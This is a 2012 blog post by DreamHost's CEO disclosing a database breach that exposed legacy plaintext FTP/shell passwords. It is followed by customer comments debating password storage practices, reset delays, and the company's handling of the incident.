In the DreamHost spirit of transparency and openness, I’m providing this update on our blog on the security issue yesterday. It’s necessarily pretty dry and factual, unlike most DreamHost posts, but that’s important to communicate as much detail as possible while not disclosing the inner workings of our security defenses. The bad news is that we detected access to one of our databases and took rapid action to protect customer accounts and passwords. The good news is that it does not appear that any significant malicious activity has occurred on any customer accounts as a result of the illegal access.
Early yesterday, one of DreamHost’s database servers was illegally accessed using an exploit that was not previously known or prevented by our layered security systems in place. Our intrusion detection systems alerted our Security team to the potential hack, and we rapidly identified the means of illegal access and blocked it.
Our first priority in this situation is to protect the safety and security of our customers’ websites and information. A quick review of the data potentially accessed indicated that some customers’ FTP and shell access passwords may have been compromised. So we decided to err on the side of caution and immediately initiate a forced reset of all customers’ FTP and shell access passwords, with the aim of preventing any illegal activity on customer websites. All FTP and shell access passwords were reset, and customer notifications were inserted in the web panel and on www.dreamhoststatus.com asking customers to specify new passwords once they’d logged in.
DreamHost has three types of user passwords – a web panel password, FTP/shell access passwords, and email passwords. Web panel passwords and email passwords were not accessed or affected. However we recommended in an update email to customers and their email users late yesterday that they reset their email passwords as well, as a precaution. It’s important to note that NO CUSTOMER BILLING INFORMATION OR OTHER PERSONAL INFORMATION WAS ACCESSED.
Our Security and Software teams have been investigating if any customer sites, apps or blogs have been affected as a result of the intrusion. As yet we have not identified any major issues – potentially as a result of the swift action to force a password reset. We’ll continue to monitor all systems and investigate and assist with any issues if they come up. We’ll all be working hard over the coming days to minimize any impact on customers beyond the password reset.
DreamHost uses a sophisticated suite of security software and constant monitoring that typically prevents any type of illegal access to our systems. In this case, our systems were not able to prevent the unauthorized access, however our intrusion detection system did allow us to respond immediately and minimize customer impact. We’ve already implemented changes to prevent any similar attempted hacks, and we’re performing a rigorous security review including a detailed review of customer input on potential vulnerabilities. Defending against cyber attacks is unfortunately an everyday part of business for Internet companies, so we’re constantly evolving our security measures to prevent them.
Thanks to all our customers for your patience, support and understanding. We acted swiftly to minimize the risks of the intrusion, and we know that changing passwords has caused you inconvenience. Customers who have ongoing concerns can contact our support team through the web panel. And I’ll be posting another update here if further information that can be shared publicly.
Simon Anderson
CEO, DreamHost



January 21st, 2012 at 10:51 am
What about sql passwords?
January 21st, 2012 at 11:12 am
Not as dry and technical as I had hoped… leaves me with questions.
1. Do you store passwords in plaintext? Your systems sometimes display or email plaintext passwords. Also, when I tried to change my password it said new password cannot differ from old password only by case. It seems like passwords are not stored in a 1-way hash. Do you have reason to believe that the actual passwords may have been obtained, or just a hased/encrypted version of those passwords?
2. Some of my shell accounts actually did NOT have their passwords automatically reset (as of 10:00am Central, Jan 21). Was your process incomplete, or did you not actually reset every account for some reason?
Thanks.
January 21st, 2012 at 11:21 am
“Web panel passwords and email passwords were not accessed or affected. However we recommended in an update email to customers and their email users late yesterday that they reset their email passwords as well, as a precaution.”
Just so everyone knows, this is not strictly true. Dreamhost reset email passwords without disclosure or warning on at least one Dedicated Server hosting account (mine). Tech support took half a day to respond to my inquiries and basically said “Yeah, we did it. Sucks for you.”
I can understand the need for the action on FTP/Shell accounts but zapping several hundred email accounts used by my dispersed staff to run our business without any warning or significant response is pretty weak, especially since we pay about 400% more than the average shared hosting customer on an annual basis for a dedicated box.
So, great communication and transparency for the masses. A bit less so for the small number of us who pay big money.
January 21st, 2012 at 11:24 am
It happens in bigger houses. Was a very good hacker or system is pretty weak…
I’m glad it was resolved
January 21st, 2012 at 11:30 am
SQL passwords were not compromised.
January 21st, 2012 at 11:34 am
So you’d rather DH not change your passwords to hundreds of email accounts and possibly have your entire dedicated server hacked, defaced or whatever ? I mean really, think about what your saying.
I know it’s frustrating waiting half a day to get a response from tech support. I actually work tech support for a web hosting company. But in all honesty, I’d much rather wait half a day, or even an entire day, to get a response back rather than have something I’m paying good money for getting hacked, accessed illegally or whatever.
Why people can’t be thankful for what WAS done. They always have to find what WASN’T done, and complain. Personally, I think next time they shouldn’t change your passwords, shouldn’t notify you and see what happens. Either way, you’re going to cry and complain.
If you’re going to complain, go open your own web hosting company and see how much better you can run it. It’s highly likely you won’t be near as successful.
On the other hand, I think what DH did by sending out an immediate notice was top of the line support. It gave users a chance to go in and change passwords on their own, even knowing the company was going to do it for them at a later point. It’s called….cover your ass and good security practices.
I’ve been with DH for just over 7 years, and have had nothing but excellent support and service from the entire team.
January 21st, 2012 at 11:55 am
Zachary:- some more detail – our systems have stored and used encrypted passwords for a number of years, however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though). Re your shell accounts, I’d suggest that you select a new password just to be sure.
Jason:- apologies that your customer service experience was poor, and for the inconvenience of having email passwords reset as well. I’m not sure why that happened, we’ve been recommending that change but not forcing it. I’ll let my support team know to handle large customers better.
January 21st, 2012 at 12:22 pm
Thank you for the vigilance. It’s nice to know you were on top of all of this.
I am curious as to why I found out about the suspected hack through TechCrunch yesterday, and finally received an email from DH this morning. I changed my password after reading the status reports and it said emails had been sent. I’m pretty small, could that be the reason?
Not complaining, just wondering about the timing. Thanks again for all you did.
January 21st, 2012 at 12:37 pm
Question on what you mean by storing encrypted passwords:
Are you storing the password? or are you storing the hash(salt + password)?
I’ve been a customer since 2005 and am very happy with your service but I am very concerned about this security issue.
January 21st, 2012 at 12:44 pm
Was the security issue related to IPv6 or is it just a coincidence that IPv6 connectivity is still broken?
January 21st, 2012 at 12:59 pm
I learned about this on Facebook. I double checked my spam filters and did not see any e-mail from you. Not good. At least now I know why my phone I could not connect overnight (sftp).
I just changed some of my passwords. I’m still concerned. You say you encrypt everything now. If so, how is it that you display the PLAIN TEXT password on my screen after I hit submit?
January 21st, 2012 at 1:02 pm
If someone got in via SSH they could, within minutes, set up key based SSH; thus the password reset won’t keep them out.
January 21st, 2012 at 1:03 pm
@ Jonathon Joseph – “So you’d rather DH not change your passwords to hundreds of email accounts”
hundreds of email accounts? I have ~90 email accounts on a shared hosting… :)
January 21st, 2012 at 1:07 pm
Michael Smith, while you have a point about the potential for setting up an SSH key, if the password reset was as prompt as DreamHost claims, it’s unlikely that they could have done it (on more than a few accounts) in a short time.
If you are paranoid about this having happened to your account, look in ~/.ssh/ as all exchanged keys should be in there. In order for a key exchange to work, there has to be a key file in your home folder. It should be easy using the “ls -la” command to list ALL files (including hidden files) and see for yourself that this is not the case.
As a network and technology staff member at a high school, I can certainly sympathize that security breaches will happen. I don’t blame DreamHost for this incident. I applaud them for responding quickly, and for admitting it to their customers. A different web host might pretend it didn’t happen.
January 21st, 2012 at 1:10 pm
I think … The best defense against hackers is to hire hackers!
It’s good that everything is resolved and were not more serious incidents. Love you all. Perhaps finally Dreamhost is the best choice.
January 21st, 2012 at 1:23 pm
I have a few user passwords I’ve tried to update, but it’s been an hour now and I can’t log in to ftp. When I go into the panel, each user name has a clock next to it which I assume means “still waiting for update to go through”.
Is the system overwhelmed right now or something? Can someone let me know so I can stop working today and just play SKYRIM?
January 21st, 2012 at 1:23 pm
Thank you for being so open about this incident.
January 21st, 2012 at 1:25 pm
I called a buddy of mine with a dreamhost account to make sure he had heard about this and he had not…he double checked his email and of 100pm today he HAS NOT had any email from you…..looks like you are dropping the ball there as well
Your customer service had declined quite a bit over the last few years….but ….seriously!
January 21st, 2012 at 1:27 pm
Thanks for being as transparent as possible about this. One minor suggestion: in the control panel, you could give notifications such as the one regarding this incident a ‘close’ or ‘dismiss’ button. It’s a bit annoying to have that thing hanging in there even after I’ve reset all my passwords.
January 21st, 2012 at 1:33 pm
Is anyone else having issues with ftp login, even after changing their password? I changed over an hour ago and still can not login. I have not heard back from Support yet. I am building a website for a customer, I talked them into switching from GoDaddy and referred them to dream host, but can’t do any work at the moment.
January 21st, 2012 at 1:34 pm
Just as Zachary Johnson notes above, for years I’ve received various emails and messages from DreamHost that disclose my passwords unencrypted and in plaintext. For years I’ve constantly warned tech support to stop this practice, to stop emailing me my secure information insecurely. Eventually after a few responses I learned that “not all of our customers are tech savvy and so may need reminders of their passwords” and that I could by specifically requesting get them to stop this for my account only, but if I wanted this practice stopped globally I should “submit a feature suggestion”. I did that, it’s largely been ignored for years, and now these types of amateur security practices end up in this kind of event.
This hack didn’t result from the practice of emailing plaintext passwords, but I can’t help but feel that if DreamHost cared enough and was serious enough about their security practices in the first place, then they would have made it policy to neither send out passwords in plaintext nor store them in any database, legacy or not, anywhere, ever.
January 21st, 2012 at 1:41 pm
“however the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted.” (cite Simon Anderson above).
So the passwords accessed were *not* encrypted! Thank you for being so open and transparent in your comment on a blog post. Happy I found this well-hidden piece of crucial information :/%^
With neither salt nor hashing this reduces the time needed to exploit the data to zero. Now for those of us who haven’t used their passwords exclusively on DH, this means a high risk even for long “secure” passwords (as opposed to, for example, the time it would take to generate a sufficient rainbow table for a hashed, salted version of the same).
By the way, http://wiki.dreamhost.com/User_Passwords still states; “(…) by going to the Users > Passwords area of our web panel. From there you can have your passwords emailed to you, (…)
January 21st, 2012 at 1:42 pm
Simon, you have to wonder sometimes why you bother opening the can of worms when you know there are going to be a few scorpions in there. I know it’s good customer service but about half of these people are just looking for something more to be pissed at above and beyond what their lives have to offer. You screamers out there need to:
1. Stop whining about a single incident in the all the years of perfect service and support DH has given you.
2. Understand that every day a successful company is running that things like this can and WILL happen.
3.Ones that it doesn’t happen to are either not popular and/or no one wants access to them anyway. Or they are EXTREMELY lucky (so far that is).
I opened one the first Internet Service Companies back before there was even GUI based services and it was bought up by a larger company not 6 weeks after I opened it. I can tell you from the limited time that this is the best service there is as I have had plenty of them since I sold. No one is better than DH (and no I don’t work for or have anything to do with the company other than a lot of accounts with them).
Now quite whining and go back to whatever you were doing before you decided to troll this blog and give your 2 cents. SKYRIM sounds like a great idea but WOW is the way to go!
January 21st, 2012 at 1:45 pm
I still can’t seem to access any of my FTP accounts, even after changing my passwords. Thoughts?
January 21st, 2012 at 1:51 pm
I can’t access my ftp accounts as well. I’ve waited 30-45 minutes since changing passwords
January 21st, 2012 at 1:53 pm
Thanks for the update,
I’m sure your team has done everything possible – I don’t think people / users realize that it doesn’t matter who you are, a hack is possible no-matter how much security you have – its just a matter of time.
Thanks for being open about it
Former CISSP
January 21st, 2012 at 1:53 pm
Steve, I do know that updated shell or FTP passwords do not apply “immediately”. If you still see the clock icon next to the users in the Manage Users section, the changes have definitely not been applied to the accounts yet.
January 21st, 2012 at 1:54 pm
Steve and Tony, you should also have a look at this.
http://www.dreamhoststatus.com/2012/01/21/password-changes-delayed-in-the-web-panel/
It looks like there will be a slight delay there.
January 21st, 2012 at 2:00 pm
Thanks for answering my questions. And thanks for the quick action. I trust that you will review how you can be more secure in the future.
January 21st, 2012 at 2:03 pm
I’ve followed the instructions and reset passwords but can’t get to my FTP accounts .Annoying as I have content to publish that requires FTP to do so. Error is: “530 Login incorrect.”
January 21st, 2012 at 2:09 pm
ALL my accounts are showing as ‘DNS Only’, despite the fact that all of them were fully hosted
January 21st, 2012 at 2:09 pm
What was the DATE of the legacy password list that was accessed. Email us this information AND the date of last password change/reset for each of our passwords so that we can know which of our accounts this is and is not relevant to.
I am legally bound to protect the privacy of clients whose information I have backed up on my DreamHost server. If this data has been breached I will have to disclose this and likely consult a legal advisor to discuss the extent of my culpability—needless to say I am displeased. How can I find out more specifically what has been breached? Is there a way to view a log of all connections, authentications, and data-transfers made from my account. I have always been a satisfied DreamHost customer (for about a decade now), but some types of errors should not happen even once. Is this one of those?
January 21st, 2012 at 2:12 pm
Typically for a shell account I reset the password through the web interface to something random, log in to ssh with that, and then use the passwd command to change it to my real password. If I understand things correctly the hackers may or may not have had access to that initial random password I generated from the web interface but NOT the actual password I changed it to one I ssh in to the server?
January 21st, 2012 at 2:14 pm
I remember addressing the topics of password storage with customer service before.
Could you please add some documentation as to what measures are taken:
* What Algorithms/Key-Lengths?
* Do you use several rounds?
* Do you salt your hashes?
It would give me a lot more confidence in my hoster if I knew information like that.
January 21st, 2012 at 2:16 pm
” If so, how is it that you display the PLAIN TEXT password on my screen after I hit submit?”
You clearly don’t know anything, so just shut up. Really.
January 21st, 2012 at 2:18 pm
thanks for transparency and openness !
Cheers,
Ran
January 21st, 2012 at 2:27 pm
“a legacy pool of unencrypted FTP/shell passwords in a database table” – it would be good to know which accounts were in that table and whether it contained any other fields beyond username and password that could link accounts with domains, email addresses, etc.
January 21st, 2012 at 2:34 pm
Thanks Simon for the information, and the subsequent follow-ups to the few folks that asked for clarification.
For those asking about the methods, as long as they are indicating they no longer store the information in cleartext, you should be happy. Acknowledging how the encryption is done is tantamount to putting a sign next to the doormat that hides your house key.
Even with hashing, the speed of modern computing systems and the increasing sophistication of hackers means that folks will continue to try and provide lists of hashes for all sorts of things people are likely to use in their passwords. Salting helps, but a number of practices found on the web related to salting can help in determining if salt values are prepended/postpended to the hash — again providing some hacker-types with more clues on how to break the information.
I am personally glad that I moved my small site to DH – my previous provider – GoDaddy, was not as good at customer service or technical support. I had my site offline on many different occasions with them telling me it was my fault — even though I had not made any changes to it. After the 4-5th time this happened without a clear explanation, I came to DH.
DH support has been awesome, and as a technical contributor to a large company, I can also appreciate the amount of time/effort it takes to address these unexpected issues. You did what you could to notify folks quickly (my email came early in the AM), and more importantly – focused on what needed to be done to preserve the customers. I prefer action to inaction, and some communication to no communication at all.
Glad you have the backup system to identify breaches that get past any existing security measures. This type of belt-n-suspenders approach is what helps make you first class in my book. I am not so sure others can make the same types of claims.
January 21st, 2012 at 2:35 pm
@Jonathan Jospeh
“So you’d rather DH not change your passwords to hundreds of email accounts and possibly have your entire dedicated server hacked, defaced or whatever ? I mean really, think about what your saying.”
I’m fine with them doing it SO LONG AS I’M INFORMED (and given the correct information) ABOUT IT FIRST! All of the communications from DH prior to my experience with Tech Support said only Shell and FTP users needed to reset, which is perfectly fine and appropriate. Had those initial communications also said that emails were going to be reset or even “Hey Dedicated Customers: y’all will have to do emails too” then I wouldn’t have said anything about it.
But by saying one thing and doing another, we got hung out to dry. Doing this on a Friday and later in the day to boot with no forewarning virtually guarantees a weekend of headaches and frustration as I try to enable email access for all users across all accounts. Had I known it was coming, I could have prepped for it which, if you think about it, was the whole point of the status blog posts and email communications and Tweets etc. etc.
Am I really asking for too much as a high-end customer to get accurate communications and instructions from the company I entrust to handle our internet presence? Really?
January 21st, 2012 at 2:37 pm
yeah – what nesty said.
Doesn’t that mean you know exactly the accounts / customers were affected? Please tell us.
January 21st, 2012 at 2:38 pm
I appreciate your vigilance and your transparency. I’ve been a customer since 2005 and have always appreciated the communication of your team. One thing I would have liked in this instance was an email notifying me as a Dreamhost customer with the same message that was in the panel. I didn’t learn of the breach until I could not get into my site via FTP, and then of course I logged into the panel and saw the message.
Thanks.
January 21st, 2012 at 2:39 pm
You’re clearly storing passwords in plaintext or in a manner that is reversible. This needs to stop. If you guys require this for some reason, then you need to rework that requirement or come up with a more solid solution so that passwords do not need to be kept in this fashion.
It astounds me that in this day and age with all of the wonderful security practices we know as developers that you would store any password in the clear in a database. It’s unprofessional, unintelligent and it puts your customers and their customers at risk. Hash all the passwords, one-way, never reversible…..
You guys provide very good service at excellent prices and I have and will continue to recommend you to my friends and associates. Smarten-up with the security and lets not have a relapse of this please. Exploits happen, but storing passwords in the clear is not an acceptable security practice.
January 21st, 2012 at 2:43 pm
@ Carl,
Are you seriously that rude in person?
Please, enlighten me or go back to your mother’s basement.
@ Everyone else,
It has been more than 3 hours since my password change and I still cannot get into my ftp.
January 21st, 2012 at 2:57 pm
On at least one of my PS accounts the password was not reset by DH and remained as it has been until I changed it. This is at 4:30 CST. The statement that all SSH/FTP passwords were reset by DreamHost is not accurate.
I have alerted support to this situation.
January 21st, 2012 at 2:57 pm
Thanks very much for posting this.
And kudos to the security team for catching this so quickly!
January 21st, 2012 at 3:02 pm
Just to clarify something Kirk said… to use ssh keys there is *no need* for the private keys to be in your dreamhost ~/.ssh/ directory. I only access private keys on an encrypted partition when completely offline (adding them to ssh-agent). Operationally, all that’s needed is the private key in memory and the corresponding public key in ~/.ssh/authorized_keys on the remote end of your connection.
If the intruders had wanted to quietly establish extra backdoors, they might have discretely added their own keys to dreamhost users’ authorized_keys files. So go check’em (I already did).
One other thing – I hope the shell passwords are stored in some format other than 14-character crypt() ; John the Ripper would make short shrift of any such /etc/passwd files or equivalent. You want MD5 at least.
(Disclaimer: I do computer security on Linux systems in my day job).
January 21st, 2012 at 3:12 pm
Thanks Kirk,
I was just noticing the clock icon. It’s usually gone after a minute or two, but has been there for over an hour now. I’m guessing it’s taking longer than normal for the changes to go through due to the fact that everyone else is probably doing the same thing…
Thanks for being on top of this,
Steve
January 21st, 2012 at 3:20 pm
Awesome!! Looks like I’m in!!
January 21st, 2012 at 3:23 pm
I can understand you are having bad times, what I cannot understand is:
1) lately it’s more bad times than good times
2) chat support is offline
3) supports tickets are not solved or deployed adequately, for example : I asked the support team A) why all the files have been deleted from my sites and B) why I cannot upload files with my FTP account. they just answered me about the ftp problem and that they fixed it… Why my files were delete -from EVERY site- in the first place, or why don’t they restore a backup…no one is answering.
January 21st, 2012 at 3:36 pm
I’ve changed my password, but not keep getting this message when i try to FTP: “Overwrite permission denied”. How can I get this fixed? Very frustrating!
January 21st, 2012 at 3:37 pm
Thanks to the Team at Dreamhost, you all rock to say the least. I am just happy you kept us all up and running. This situation & resolution is only one reason I love Dreamhost.
I must say “Support” has always been there for me when I need them 24/7 keep up the great work people:)
Thanks
Michael
January 21st, 2012 at 3:39 pm
Hacker got access to user passwords?
OK, you must not really know much about security. If you implement a one-way hash algo, all the hacker will have is the hash and the salt. They still would need to reverse the hash. Hopefully this is not easy to do with a strong enough hash method.
January 21st, 2012 at 3:46 pm
I hope DH has stopped automatically emailing new passwords back on a successful pwd change.
I just reset the first 5 of the 20 accounts I need to update and will be pissed if the new passwords are automatically emailed back to me. I like DH for several reasons but the practice of emailing my password is idiotic and something I’d expect the competition to do.
Otherwise, I appreciate your policy of open information.
January 21st, 2012 at 3:55 pm
This is interesting. About a week ago ALL my sites on one server were blocked by google because of malicious files. I found one sketchy html file and a hidden htaccess file in each site. I went and deleted all my sites, reuploaded my archives, and had google review the sites. Everything was fine after about 48 hours. I changed all my passwords. Still couldn’t figure out how the sites were hacked though.
Seems peculiar that this is coming out not a week after this all happened. And in about 8 years of being a Dreamhost client this has never happened before.
Scott
January 21st, 2012 at 4:21 pm
Hi.
I am not very tech savvy, so please be patient with me.
I have a Dreamhost account and have quite a few domain names registered that I host for my self and some family members. I used WordPress to create all the websites and don’t ever recall ever having FTP/SFTP or Shell passwords. Is this done automatically? I have 5 user accounts that I set up, so does that mean I now need to change the passwords for these accounts? I don’t recall ever accessing these FTP/SFTP or Shell passwords in the past.
Thank you in advace.
Thanks
January 21st, 2012 at 4:22 pm
Hi.
I am not very tech savvy, so please be patient with me.
I have a Dreamhost account and have quite a few domain names registered that I host for my self and some family members. I used WordPress to create all the websites and don’t ever recall ever having FTP/SFTP or Shell passwords. Is this done automatically? I have 5 user accounts that I set up, so does that mean I now need to change the passwords for these accounts? I don’t recall ever accessing these FTP/SFTP or Shell passwords in the past.
Thank you in advance.
Thanks
January 21st, 2012 at 4:25 pm
Pat, thank you for clearing that up. I did not mean to imply that private keys were going to be stored in the ~/.ssh/ folder. I implied that people doing a key exchange would have changed or added files in that folder. By doing an ls -la you would also see modified times, so if authorized_keys had been modified, it would be indicated that way.
January 21st, 2012 at 4:30 pm
Can this breach affect computers?
I had only signed on 2 days ago for the two week free trial period and last night at about 10pm., I was suddenly booted off Facebook because they said I had a virus or malware and that I MUST do a anti-virus scan. Now, I have had an account with Facebook for 6 years and I have never had such an incident. I DID the full scan with my up-to-date Kaspersky ant-virus and it found nothing. I am still blocked by facebook to complete a 24 hour quarintine.
Thank You
January 21st, 2012 at 4:39 pm
“On at least one of my PS accounts the password was not reset by DH and remained as it has been until I changed it. This is at 4:30 CST. The statement that all SSH/FTP passwords were reset by DreamHost is not accurate.”
That happened on mine as well and I was greatful for it. The PS service was implemented after they stored everything encrypted, so it wouldn’t have been stored in that database. lucky for us.
January 21st, 2012 at 4:39 pm
wow i just spelled grateful wrong.
January 21st, 2012 at 4:42 pm
Sorry the above happened 48 hours ago not yesterday.
January 21st, 2012 at 4:44 pm
@Peter S Says – if you’re talking about WordPress users – then no, you don’t need to reset passwords for those.
But if you’ve set 5 user accounts under your Dreamhost hosting control panel – then yes, you must change the passwords for those.
Good luck
yuda
January 21st, 2012 at 4:48 pm
There’s been no mention at all of the size of the “legacy pool” – is it too embarrassing to admit it included most if not all accounts?
Again – did this table contain other information beyond username and password that might directly link accounts with real names, domain names, email addresses and so on? Is it plausible that the intruder has downloaded a copy of the entire database?
It’s inadmissible that these points haven’t been addressed to allow customers to properly gauge the risk they’ve incurred through DH’s unthinkable, incompetent practice of storing plaintext passwords.
I’m sure there are users who use the same password for other services (email accounts, etc) and so this breach can have a fairly wide impact in some cases, especially if the table contained fields other than username and password.
January 21st, 2012 at 5:00 pm
Personally, I am happy that I was informed that the user database was hacked. I’m sure that this breach will spur DH into changing their practices. I have no problem with changing my password(s). I appreciate the email, and the transparency. People who are upset need to grow up. Inform your users of the hack, forward them the email, and send them a link to this blog post. Be transparent with them. It doesn’t sound like this could have been prevented (because nobody knew of the vulnerability), so get over it.
January 21st, 2012 at 5:02 pm
I continue to appreciate the full disclosure ethic that DH has had, and continues to have. Who doesn’t have old slop data floating around that shouldn’t, it’s a good reminder to all. Especially as companies grow, remembering to ‘clean up the old mistakes’ always needs to be a part of the process.
My four requests:
– Alert everyone who has had a change in .ssh/* during the time between the compromise and the lockout (that’s gunna be a long find, but will be worth it).
– Since username.dreamhost.com went away; please send all users who use ssh in some form to login to their accounts, a list of all their hostnames and the DreamHost ssh fingerprint for that domain (I’ve noticed it hopping around some).
– Implement OAUTH or something a little cleaner for the Panel API
– PLEASE add a ‘change password’ panel API function, you don’t need to leave it out there all the time, but for today it sure would have been handy.
I’m sure you’re having a terrible rainy Saturday, but it’s better then being stuck in the LA traffic today, ufff.
January 21st, 2012 at 5:05 pm
Oh, and I miss getting my newsletters and alerts signed by PGP as well. My first assumption was that the notice I had gotten was fraudulent. Signing the email notices I requested before with your key would be a good PR move for the clients that are probably more alarmed by your full disclosure policy then thankful for it :D
January 21st, 2012 at 5:06 pm
@yudayuda Thank you for your help. I have now gone in and reset the user passwords.
Regards,
Peter
January 21st, 2012 at 5:08 pm
You say “Web panel passwords and email passwords were not accessed”.
Then why was my Web Panel password reset?
Why have I not received a new password?
Why do I receive no response to my tech support inquiries other than robot messages?.
And why are the instructions posted at panel.dreamhost.com for changing my password wrong?” It makes no sense to try logging into an account to change my passwords when I have not been given a password to begin with.
My FTP site has been down for almost 30 hours. A long blog about transparency does me no good whatsoever.
January 21st, 2012 at 5:30 pm
Hey, I had to put in my two cents…
I am really surprised at all the negative comments in regards to this security issue.
I myself was a little worried when I got an email from DreamHost but as usual I realized that this outfit was on the ball right out of the gate. Reading DreamHost Status was a great help as well.
So I did the changing of passwords, there was a little glitch, it didn’t work for a while, I had to start a ticket, but then; fixed, done, and everything was fine. In reality this happened quickly. Hats off to DreamHost!
I have been with this outfit for almost ten years and not once have I ever been let down or found anything disappointing. Yes there has been times of error, and it is usually resolved in less then twenty-four hours. In fact I can’t remember the last time I had to contact support. I really dig DreamHost.
Thank you, you folks at DreamHost, for forcing a password change and looking out for my best interests and yours. I wouldn’t host with anyone else even if they paid me. I feel so safe and secure and that is just fine with me. DreamHost Rocks !!!
evL
January 21st, 2012 at 5:54 pm
Was there anything more besides the passwords in the table that was compromised? My concern is that if they have more information regarding the users besides the passwords, then maybe they can link that password to a particular e-mail or URL and…as it usually happens, if the password is the same…then it would be good to advice people to change all of their passwords, even the ones outside DH.
Thanks
January 21st, 2012 at 6:02 pm
My concern in all this is that if FTP/sFTP/Shell passwords were considered suspect then everyone who has a Drupal/Wordpress/Joomla or other CMS website with a config file needs to change their MySQL passwords as well. Anyone that can access your site in a sFTP/Shell and hacked the DH database would know that these files are perfect targets.
Now on top of that add the possibility of user tables in these CMS systems being accessed. Doesn’t matter if they’re one way encrypted since most users fail to follow simple rules so at least one of them probably used “password” or some variant. With a Rainbow table attack most hackers would make quick work of these.
@Pat & @Kirk I hadn’t even thought about the possibility of setting SSH key logins thanks. This nightmare just keeps getting better and better.
@anyone This is not “bitching”, “moaning” or any other adjective. It is a legitimate concern for the security of my personal, my companies and our customers websites and users.
Knowing now that this is some legacy database table from years ago only confirms my suspicion that this was a gross over-reaction. The solution is worse than the perceived threat.
They’ve reset the sFTP/Shell logins for a PS created 3 months ago but left a VPS created a year ago undisturbed. The shared hosting part I can deal with, it sucks, but the inconsistent nature of the implementation of the DH solution leaves me wondering what the plan was in the first place? I’ve already reset my passwords on the shared and PS accounts but do I wait til the VPS passwords don’t work, then reset. Or reset them like some folks have done and then hours later the DH reset goes through, so I have to do it again? In the interim what is being compromised?
January 21st, 2012 at 6:42 pm
Simon,
Thanks for the informative post.
Cool that you “acted swiftly to minimize the risks of the intrusion”
I wish you would “act swiftly” to restore my website, it has been down since Wednesday.
Dave
DreamHost since 2003
January 21st, 2012 at 6:55 pm
Our FTP accounts are STILL not accessible.
- I changed ALL our FTP passwords 24+ hours ago
- Still can’t cannot to any FTP account, across 3 VPSes
9-10 hours after sending a support ticket, I received 1 email from DH this morning saying “you should be able to access them now”. Finally got around to this now and still can’t access any FTP account.
January 21st, 2012 at 7:14 pm
As a customer of DH and 2 other webhosts – well handled on the transparency side. Don’t know anything about the execution side, but no problems on my end
To those of you whining about long response times and misc bologna: Pay more and go to a premium host. DH does a great job for the price; if you want quicker response times, go signup with LiquidWeb.
January 21st, 2012 at 7:17 pm
@DDB Can you submit a support ticket attn: Oscar and I can look into that for you.
January 21st, 2012 at 7:40 pm
> You say you encrypt everything now. If so, how is it that you display the PLAIN TEXT password on my screen after I hit submit?
If you submit data via a form it can be re-presented to you on a subsequent page through the magic of $_POST, $_COOKIES, or $_SESSION.
It’s great that they no longer keep unencrypted passwords; it’s disturbing to know that they ever did.
January 21st, 2012 at 7:42 pm
@Oscar: Thanks – I have 2 active tickets waiting for a reply, maybe you could take one of those. :) Or just look into this for me – account is my email danebaker@gmail.com.
January 21st, 2012 at 7:43 pm
It worked! “Successfully edited user blarflowitz ! Their new password
is new_password . The changes will take a few minutes to take effect.”
That’s sure a more customer friendly message than Google or Facebook
every gave me on a password change. Shows you who are the pros! Yup.
January 21st, 2012 at 7:56 pm
As expected, DreamHost took care of the issue as fast as it could, with the best measures it could, as efficiently as it could.
As expected, a bunch of DreamHost’s competitors are spamming up the blog posts with their attempts to make it seem like DH has a whole load of mentally challenged customers. Oh wait, DH actually does have this many mentally challenged customers that aren’t grateful that, unlike their banks and credit card providers (and hospitals and governments), DH not only took care of the problem but disclosed the break in.
Hey there, retards, if your shitty bank got hacked, you would never know about it, and you’d be blamed by your bank (“you must have shared your PIN!!!”) when your money disappears. If this was your credit card provider, you’d call in after your card is used to buy things all over the world, and they would blame you for having your card info stolen.
January 21st, 2012 at 8:03 pm
For the private servers at least, even though the clock symbol
disappears, the password does not necessarily get updated, as
$ ls -l /etc/passwd /etc/shadow
will show, and
$ passwd
Changing password for fartsworth
(current) UNIX password: *********
passwd: Authentication failure
passwd: password unchanged
proves.
January 21st, 2012 at 8:05 pm
@intern3ts – You’re the one coming across as some sort of mentally deficient idiot. Sit down, the grown-ups are talking.
@DH – I know crap happens. My Visa was compromised just this week (and, for the record, @intern3ts, my bank called me before I lost anything and immediately removed the bogus charges). It happens. But you have set our expectations that we just need to reset our passwords. But the reset has not propagated for many of us. If I check the status page I see a [much] earlier post on the status mentioning a 1-2 hour delay [again, much earlier in the day] mentioned.
But I reset my passwords 4 hours ago and they still don’t work.
Please update your status or your blog so we at least have a more realistic expectation. Even if it’s to say “we don’t know”, that’s better than what we have now… which is nothing.
January 21st, 2012 at 8:13 pm
Why don’t you have an option for one time passwords using opie?
January 21st, 2012 at 8:29 pm
For those of you looking for an important clue about the security breach, here is an important one.
I was going to ask Dreamhost for the last-modified date of the database table containing the unencrypted passwords, as this would allow me to assess which, if any, of my accounts were compromised. However, I no longer need to ask for that information, and here’s why.
Dreamhost knows full-well which accounts were compromised, as the list of usernames and passwords is obviously contained in the compromised database table. Therefore, Dreamhost needs only to reset the affected shell/ftp account passwords. Yet, Dreamhost publicly states that they have reset the passwords of “all” shell/ftp accounts. However, that is not true. And here is how I know.
I created a new shell/ftp account on October 11, 2012, and the account’s password has not been reset by Dreamhost. I can still access the shell/ftp account using the very same password as when I created the account on Oct 11.
So, what does that tell me? The fact that Dreamhost claims they changed all passwords, and the fact that this account’s password was not reset, and in fact, still uses the same password that was chosen about 3 months ago: it suggests that the compromised database table had not been updated in at least the past 3 months. But for how long it was not updated remains a mystery, and one that I hope Dreamhost will eventually disclose.
Nonetheless, I suspect the compromised table was being updated until fairly recently. Rhetorical question: If 99% of your shell/ftp accounts are affected, and you reset the password on those 99% of affected accounts, what is difference in telling the public that “all” shell passwords were reset, and “practically all” shell passwords were reset?
Anyway, for those of you wondering if your account’s password was compromised, it probably boils down to this. If Dreamhost reset your account’s password, well then, yes, your account’s password was probably compromised. However, if you find yourself able to access your shell/ftp account with the same password you were using before the announcement, well then, no, your account probably was not compromised.
Lastly, my suggestions do not necessarily imply an account created less than 3 months ago was not reset. As many people use the same password for multiple shells under the same account, I suspect that Dreamhost probably has checked every shell/ftp account against all unecrypted passwords found in the compromised database table. And, if any of those passwords succeeded, then they probably went ahead and reset the account password anyway, even if the shell account was created less than X months ago.
